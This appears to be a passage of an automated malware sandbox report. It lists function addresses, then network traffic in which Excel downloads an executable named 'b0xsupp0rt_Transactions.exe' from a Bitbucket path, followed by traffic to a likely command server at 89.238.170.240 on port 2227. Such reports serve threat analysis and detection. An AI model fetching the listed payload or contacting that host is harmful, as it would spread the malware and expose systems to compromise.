f8170	7979	0x10020f10
f8171	7980	0x10020f00
f8172	7981	0x10020ef0
f8173	7982	0x10020ee0
f8174	7983	0x10020ed0
f8175	7984	0x10020ec0
f8176	7985	0x10020eb0
f8177	7986	0x10020ea0
f8178	7987	0x10020e90
f8179	7988	0x10020e80
f818	7989	0x1003da90
f8180	7990	0x10020e70
f8181	7991	0x10020e60
f8182	7992	0x10020e50
f8183	7993	0x10020e40
f8184	7994	0x10020e30
f8185	7995	0x10020e20
f8186	7996	0x10020e10
f8187	7997	0x10020e00
f8188	7998	0x10020df0
f8189	7999	0x10020de0
f819	8000	0x1003da80
f8190	8001	0x10020dd0
f8191	8002	0x10020dc0
f8192	8003	0x10020db0
f8193	8004	0x10020da0
f8194	8005	0x10020d90
f8195	8006	0x10020d80
f8196	8007	0x10020d70
f8197	8008	0x10020d60
f8198	8009	0x10020d50
f8199	8010	0x10020d40
f82	8011	0x10040890
f820	8012	0x1003da70
f8200	8013	0x10020d30
f8201	8014	0x10020d20
f8202	8015	0x10020d10
f8203	8016	0x10020d00
f8204	8017	0x10020cf0
f8205	8018	0x10020ce0
f8206	8019	0x10020cd0
f8207	8020	0x10020cc0
f8208	8021	0x10020cb0
f8209	8022	0x10020ca0
f821	8023	0x1003da60
f8210	8024	0x10020c90
f8211	8025	0x10020c80
f8212	8026	0x10020c70
f8213	8027	0x10020c60
f8214	8028	0x10020c50
f8215	8029	0x10020c40
f8216	8030	0x10020c30
f8217	8031	0x10020c20
f8218	8032	0x10020c10
f8219	8033	0x10020c00
f822	8034	0x1003da50
f8220	8035	0x10020bf0
f8221	8036	0x10020be0
f8222	8037	0x10020bd0
f8223	8038	0x10020bc0
f8224	8039	0x10020bb0
f8225	8040	0x10020ba0
f8226	8041	0x10020b90
f8227	8042	0x10020b80
f8228	8043	0x10020b70
f8229	8044	0x10020b60
f823	8045	0x1003da40
f8230	8046	0x10020b50
f8231	8047	0x10020b40
f8232	8048	0x10020b30
f8233	8049	0x10020b20
f8234	8050	0x10020b10
f8235	8051	0x10020b00
f8236	8052	0x10020af0
f8237	8053	0x10020ae0
f8238	8054	0x10020ad0
f8239	8055	0x10020ac0
f824	8056	0x1003da30
f8240	8057	0x10020ab0
f8241	8058	0x10020aa0
f8242	8059	0x10020a90
f8243	8060	0x10020a80
f8244	8061	0x10020a70
f8245	8062	0x10020a60
f8246	8063	0x10020a50
f8247	8064	0x10020a40
f8248	8065	0x10020a30
f8249	8066	0x10020a20
f825	8067	0x1003da20
f8250	8068	0x10020a10
f8251	8069	0x10020a00
f8252	8070	0x100209f0
f8253	8071	0x100209e0
f8254	8072	0x100209d0
f8255	8073	0x100209c0
f8256	8074	0x100209b0
f8257	8075	0x100209a0
f8258	8076	0x10020990
f8259	8077	0x10020980
f826	8078	0x1003da10
f8260	8079	0x10020970
f8261	8080	0x10020960
f8262	8081	0x10020950
f8263	8082	0x10020940
f8264	8083	0x10020930
f8265	8084	0x10020920
f8266	8085	0x10020910
f8267	8086	0x10020900
f8268	8087	0x100208f0
f8269	8088	0x100208e0
f827	8089	0x1003da00
f8270	8090	0x100208d0
f8271	8091	0x100208c0
f8272	8092	0x100208b0
f8273	8093	0x100208a0
f8274	8094	0x10020890
f8275	8095	0x10020880
f8276	8096	0x10020870
f8277	8097	0x10020860
f8278	8098	0x10020850
f8279	8099	0x10020840
f828	8100	0x1003d9f0
f8280	8101	0x10020830
f8281	8102	0x10020820
f8282	8103	0x10020810
f8283	8104	0x10020800
f8284	8105	0x100207f0
f8285	8106	0x100207e0
f8286	8107	0x100207d0
f8287	8108	0x100207c0
f8288	8109	0x100207b0
f8289	8110	0x100207a0
f829	8111	0x1003d9e0
f8290	8112	0x10020790
f8291	8113	0x10020780
f8292	8114	0x10020770
f8293	8115	0x10020760
f8294	8116	0x10020750
f8295	8117	0x10020740
f8296	8118	0x10020730
f8297	8119	0x10020720
f8298	8120	0x10020710
f8299	8121	0x10020700
f83	8122	0x10040880
f830	8123	0x1003d9d0
f8300	8124	0x100206f0
f8301	8125	0x100206e0
f8302	8126	0x100206d0
f8303	8127	0x100206c0
f8304	8128	0x100206b0
f8305	8129	0x100206a0
f8306	8130	0x10020690
f8307	8131	0x10020680
f8308	8132	0x10020670
f8309	8133	0x10020660
f831	8134	0x1003d9c0
f8310	8135	0x10020650
f8311	8136	0x10020640
f8312	8137	0x10020630
f8313	8138	0x10020620
f8314	8139	0x10020610
f8315	8140	0x10020600
f8316	8141	0x100205f0
f8317	8142	0x100205e0
f8318	8143	0x100205d0
f8319	8144	0x100205c0
f832	8145	0x1003d9b0
f8320	8146	0x100205b0
f8321	8147	0x100205a0
f8322	8148	0x10020590
f8323	8149	0x10020580
f8324	8150	0x10020570
f8325	8151	0x10020560
f8326	8152	0x10020550
f8327	8153	0x10020540
f8328	8154	0x10020530
f8329	8155	0x10020520
f833	8156	0x1003d9a0
f8330	8157	0x10020510
f8331	8158	0x10020500
f8332	8159	0x100204f0
f8333	8160	0x100204e0
f8334	8161	0x100204d0
f8335	8162	0x100204c0
f8336	8163	0x100204b0
f8337	8164	0x100204a0
f8338	8165	0x10020490
f8339	8166	0x10020480
f834	8167	0x1003d990
f8340	8168	0x10020470
f8341	8169	0x10020460
f8342	8170	0x10020450
f8343	8171	0x10020440
f8344	8172	0x10020430
f8345	8173	0x10020420
f8346	8174	0x10020410
f8347	8175	0x10020400
f8348	8176	0x100203f0
f8349	8177	0x100203e0
f835	8178	0x1003d980
f8350	8179	0x100203d0
f8351	8180	0x100203c0
f8352	8181	0x100203b0
f8353	8182	0x100203a0
f8354	8183	0x10020390
f8355	8184	0x10020380
f8356	8185	0x10020370
f8357	8186	0x10020360
f8358	8187	0x10020350
f8359	8188	0x10020340
f836	8189	0x1003d970
f8360	8190	0x10020330
f8361	8191	0x10020320
f8362	8192	0x10020310

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2023 13:29:41.486742020 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:41.486821890 CEST	443	49702	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:41.486932039 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:41.490010023 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:41.490045071 CEST	443	49702	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:41.838438988 CEST	443	49702	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:41.838607073 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:41.842422962 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:41.842447996 CEST	443	49702	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:41.842992067 CEST	443	49702	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:41.847763062 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:41.888294935 CEST	443	49702	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:42.030291080 CEST	443	49702	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:42.030421019 CEST	443	49702	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:42.030463934 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:42.030519962 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:42.032011032 CEST	49702	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:42.086350918 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.086407900 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.086497068 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.087023973 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.087035894 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.536813974 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.537019968 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.539511919 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.539544106 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.539979935 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.542681932 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.584323883 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.731551886 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.772804976 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.772850990 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.819755077 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.876837015 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.876852989 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.876914024 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.876949072 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.876976013 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.877002001 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.877032042 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.877053022 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.877067089 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.877080917 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.877094984 CEST	443	49703	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:42.877165079 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.877228022 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.878643036 CEST	49703	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:42.889913082 CEST	49704	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:42.889986992 CEST	443	49704	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:42.890089035 CEST	49704	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:42.890482903 CEST	49704	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:42.890505075 CEST	443	49704	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:43.226468086 CEST	443	49704	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:43.233637094 CEST	49704	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:43.233712912 CEST	443	49704	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:43.415020943 CEST	443	49704	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:43.415219069 CEST	49704	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:43.415249109 CEST	443	49704	104.192.141.1	192.168.2.7
Jul 20, 2023 13:29:43.415329933 CEST	49704	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:43.415725946 CEST	49704	443	192.168.2.7	104.192.141.1
Jul 20, 2023 13:29:43.416306973 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:43.416374922 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:43.416497946 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:43.416858912 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:43.416882038 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:43.862001896 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:43.865120888 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:43.865161896 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.064951897 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.065016031 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.065038919 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.065187931 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.065232038 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.065313101 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.209690094 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.209942102 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.209980011 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.210069895 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.210118055 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.210141897 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.210299969 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.210345030 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.210375071 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.210391045 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.210406065 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.257229090 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.257263899 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.304121971 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.355350971 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355393887 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355438948 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355485916 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355561018 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.355561972 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355592012 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355618000 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.355643034 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.355717897 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355767012 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355788946 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.355803967 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355835915 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.355928898 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.355979919 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.356009960 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.356019020 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.356051922 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.356106997 CEST	443	49705	52.217.14.20	192.168.2.7
Jul 20, 2023 13:29:44.356164932 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:29:44.357024908 CEST	49705	443	192.168.2.7	52.217.14.20
Jul 20, 2023 13:30:40.728286028 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.768470049 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.768608093 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.768719912 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.768838882 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.805900097 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.805963039 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.805995941 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.806021929 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.806044102 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.806060076 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.806104898 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.806112051 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.806133986 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.806159019 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.806195021 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.806202888 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.806222916 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.806231976 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.806262016 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.806267977 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.806312084 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.806324959 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.848575115 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.848661900 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.848695993 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.848730087 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.848763943 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.848788023 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.848869085 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.848869085 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.848869085 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.848869085 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.849284887 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.849320889 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.849354029 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.849366903 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.849384069 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.849385977 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.849419117 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.849451065 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.849467993 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.849467993 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.849483013 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.849500895 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.849529028 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.849544048 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.886221886 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.886430025 CEST	49706	2227	192.168.2.7	89.238.170.240
Jul 20, 2023 13:30:40.886826992 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887018919 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887063980 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887501001 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887671947 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887763977 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887836933 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887878895 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887923956 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.887967110 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.923608065 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.923631907 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.923645973 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.923660994 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.923804998 CEST	2227	49706	89.238.170.240	192.168.2.7
Jul 20, 2023 13:30:40.923882008 CEST	49706	2227	192.168.2.7	89.238.170.240

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2023 13:29:41.445935011 CEST	61178	53	192.168.2.7	8.8.8.8
Jul 20, 2023 13:29:41.480369091 CEST	53	61178	8.8.8.8	192.168.2.7
Jul 20, 2023 13:29:42.040335894 CEST	63926	53	192.168.2.7	8.8.8.8
Jul 20, 2023 13:29:42.060919046 CEST	53	63926	8.8.8.8	192.168.2.7
Jul 20, 2023 13:29:42.065021038 CEST	53336	53	192.168.2.7	8.8.8.8
Jul 20, 2023 13:29:42.085228920 CEST	53	53336	8.8.8.8	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2023 13:29:41.445935011 CEST	192.168.2.7	8.8.8.8	0x8d2f	Standard query (0)	bitbucket.org	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.040335894 CEST	192.168.2.7	8.8.8.8	0xcfc9	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.065021038 CEST	192.168.2.7	8.8.8.8	0x20ed	Standard query (0)	bbuseruploads.s3.amazonaws.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 20, 2023 13:29:41.480369091 CEST	8.8.8.8	192.168.2.7	0x8d2f	No error (0)	bitbucket.org		104.192.141.1	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.14.20	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.225.57	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.25.155	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.29.102	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.217.185	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.236.233	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.162.9	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.060919046 CEST	8.8.8.8	192.168.2.7	0xcfc9	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.8.193	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	bbuseruploads.s3.amazonaws.com	s3-1-w.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-1-w.amazonaws.com	s3-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.33.177	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.74.12	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-w.us-east-1.amazonaws.com		16.182.40.177	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.123.25	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-w.us-east-1.amazonaws.com		52.216.42.73	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-w.us-east-1.amazonaws.com		3.5.1.199	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-w.us-east-1.amazonaws.com		54.231.229.105	A (IP address)	IN (0x0001)	false
Jul 20, 2023 13:29:42.085228920 CEST	8.8.8.8	192.168.2.7	0x20ed	No error (0)	s3-w.us-east-1.amazonaws.com		52.217.101.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

bitbucket.org

bbuseruploads.s3.amazonaws.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49702	104.192.141.1	443	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2023-07-20 11:29:41 UTC	0	OUT	GET /simplecry/test/downloads/b0xsupp0rt_Transactions.exe HTTP/1.1 Host: bitbucket.org Connection: Keep-Alive
2023-07-20 11:29:42 UTC	0	IN	HTTP/1.1 302 Found server: envoy x-usage-quota-remaining: 998964.550 vary: Accept-Language, Origin x-usage-request-cost: 1051.73 cache-control: max-age=0, no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 x-b3-traceid: d73e79cb804e5186 x-usage-output-ops: 0 x-used-mesh: False x-dc-location: Micros-3 content-security-policy: style-src 'self' 'unsafe-inline' https://aui-cdn.atlassian.com/ https://cdn.cookielaw.org/ https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: ; frame-ancestors 'self' start.atlassian.com start.stg.atlassian.com atlaskit.atlassian.com bitbucket.org; script-src 'unsafe-eval' 'strict-dynamic' 'unsafe-inline' 'self' http: https: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net https://remote-app-switcher.prod-east.frontend.public.atl-paas.net https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; object-src 'none'; connect-src bitbucket.org .bitbucket.org bb-inf.net .bb-inf.net id.atlassian.com api.atlassian.com api.stg.atlassian.com wss://bitbucketci-ws-service.services.atlassian.com/ wss://bitbucketci-ws-service.stg.services.atlassian.com/ wss://bitbucketci-ws-service.dev.services.atlassian.com/ analytics.atlassian.com as.atlassian.com api-private.stg.atlassian.com api-private.atlassian.com cofs.staging.public.atl-paas.net cofs.prod.public.atl-paas.net fd-assets.prod.atl-paas.net intake.opbeat.com api.media.atlassian.com api.segment.io xid.statuspage.io xid.atlassian.com xid.sourcetreeapp.com bam.nr-data.net bam-cell.nr-data.net www.google-analytics.com sentry.io .ingest.sentry.io events.launchdarkly.com app.launchdarkly.com fd-config.us-east-1.prod.public.atl-paas.net bqlf8qjztdtr.statuspage.io https://d301sr5gafysq2.cloudfront.net/ https://d136azpfpnge1l.cloudfront.net/; base-uri 'self'; report-uri https://web-security-reports.services.atlassian.com/csp-report/bb-website Strict-Transport-Security: max-age=31536000; 